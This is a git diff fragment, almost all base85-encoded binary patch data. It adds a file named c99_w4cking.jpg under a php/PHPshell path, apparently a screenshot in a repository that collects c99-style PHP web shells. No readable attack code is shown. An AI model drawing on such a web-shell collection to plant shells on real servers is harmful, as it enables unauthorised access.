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 G|2F|x0@&mL literal 0 HcmV?d00001 diff --git a/php/PHPshell/c99_w4cking/c99_w4cking.jpg b/php/PHPshell/c99_w4cking/c99_w4cking.jpg new file mode 100644 index 0000000000000000000000000000000000000000..86a1d2c54385ee1e1a12c8f798f50064412d1101 GIT binary patch literal 92699 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 